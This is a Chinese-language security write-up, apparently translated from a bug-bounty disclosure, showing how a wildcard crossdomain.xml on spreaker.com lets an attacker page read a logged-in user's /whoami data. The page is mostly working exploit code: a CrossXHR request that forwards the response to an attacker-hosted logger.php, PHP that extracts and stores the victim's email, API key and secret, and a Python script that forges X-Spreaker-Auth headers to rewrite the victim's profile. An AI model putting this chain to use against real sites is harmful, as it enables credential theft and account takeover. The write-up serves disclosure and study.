引入:这一切始于*
crossdomain.xml文件指定访问的域名读/写请求,应该将该文件限制在可信网站之内,然而在spreaker网站上却并非如此。通配符表明了允许任何站点向文件发送请求/读取响应,spreaker.com/crossdomain.xml的响应如下:
<cross-domain-policy><allow-access-from domain="*"/></cross-domain-policy>
考虑到这点,我们就尝试着进行利用吧!
利用
“错误配置”的影响真的取决于应用本身!在应用中找到一个包含敏感信息的页面,比如一个web应用中允许用户发送/收取电子邮件(like Yahoo,gmail..)阅读他的电子邮件就是一个敏感行为。又比如在web应用中包含了个人主页页面,就算我们什么都不做也可以得知用户的用户名,邮箱等信息…..
1)寻找敏感页面
这个API:api.spreaker.com/crossdomain.xml也存在漏洞,所以我同时还看了下developers.spreaker.com,这里有发现了:
使用Spreaker API的API Key和Secret允许你不经身份验证便能够轻松读取公共信息。例如api.spreaker.com/show/9就返回与"The bit a bit show"相关的公共信息。如果需要获取隐私信息,或者创建修改数据你需要进行身份验证。 为了进行身份验证,你需要获取你的API Key和Secret: 打开api.spreaker.com/whoami,读取API key和secret(他们永远不会改变)
这就是福音啊,api.spreaker.com/whoami链接包含了已登录用户的所有敏感信息:
userid , fullname , fbuserid , email , **apikey** , api secret , twauthtoken ,twauthtoken_secret , fbauthtoken , ...
同样这些信息也可以从www.spreaker.com/account/profile获取,这实在不能再好咯!
2)编写PoC检索/保存敏感页面
你可以通过编码一个Flash文件(脚本语言)向api.spreaker.com/whoami请求,并将页面内容发送到日志记录。由于我不太擅长使用flash编写程序,我就使用了现成的CrossXHR。
所以首先我们得获得需要页面的请求:
function test_get() { request = new CrossXHR(); request.onreadystatechange = callback; request.open('GET', 'http://api.spreaker.com/whoami'); request.send(); }
接着处理响应,在这个案例中我将它发送到日志记录,然后解析并保存敏感信息:
data = request.responseText; //contain the content of the /whoami httpGet("/poc/logger.php?data="+data); //send it to logger alert("done"); //just for demo
Logger.php:接收json数据并解析存储
//receive contetnt via data param , then parse it $data=$_GET['data']; $obj = json_decode($data); $email = $obj->{'response'}->{'user'}->{'email'}; $apikey = $obj->{'response'}->{'user'}->{'api_key'}->{'key'}; $apisecret = $obj->{'response'}->{'user'}->{'api_key'}->{'secret'}; ... $html = '<table>'; $html.= '<tr>'; $html.= '<td>User Id </td>'; $html.= '<td>Fullname </td>'; $html.= '<td>email </td>'; ... $html.= $email; $html.='</td>'; $html.='<td>'; $html.= $apikey; $html.='</td>'; $html.='<td>'; $html.= $apisecret; ... $file=fopen('data.html','a'); fwrite($file,"<br><br> /n"); fwrite($file,$html."/n/n/n"); fwrite($file,"<br><br> /n"); fclose($file); ....
PoC已经饥渴难耐了,我们之前所做的都是为了目标访问攻击者站点attacker.com并将用户的敏感信息记录在一个十分性感的html页面中。
影响
现在我们有了API/secret,能够做什么developers.spreaker.com上面已经说的十分明白了。
如果用户的账号还链接了其他一些社交媒体帐号(twitter , fb , g+ ),我们还可以获取其auth_token / auth secret!特别是开发文档中的那一句“API key和secret永不改变”越想越是霸气!你不能改变API key和secret即使你的账户被盗用!另外提一句只是改变的密码和邮箱然并卵!唯一留给用户只有删除账号了。
接下来我们该做的便是生成身份验证摘要,通过X-Spreaker-Auth HTTP header进行发送,然后我们允许用户代表发送身份验证请求:
import random import time import hashlib,sys,requests,json user_id = sys.argv[1] api_key = sys.argv[2] api_secret = sys.argv[3] # Generate a nonce and get the current timestamp (from epoch) nonce = random.randint(0, 99999999) timestamp = int(time.time()) # Generate the hash md5 = hashlib.md5() md5.update("%s:%s:%s:%s" % (nonce, api_key, api_secret, timestamp)) # Generate the digest digest = "%s:%s:%s:%s" % (nonce, api_key, timestamp, md5.hexdigest()) print 'X-Spreaker-Auth: %s'%(digest) url = "http://api.spreaker.com/user/"+str(user_id) payload = {'description': 'Hacked'} headers = {'X-Spreaker-Auth': digest} r = requests.put(url, params=payload, headers=headers) print 'response code: ' + str(r.status_code)
运行
#Python poc.py userid api_key api_secret
访问我们新的个人页面:
演示视频
参考文献
CrossXhr
Spreaker security page
Yahoo's pet show of horrors
seizing control of yahoo mail cross origin again
* 参考来源: aajalal ,编译/FB小编鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)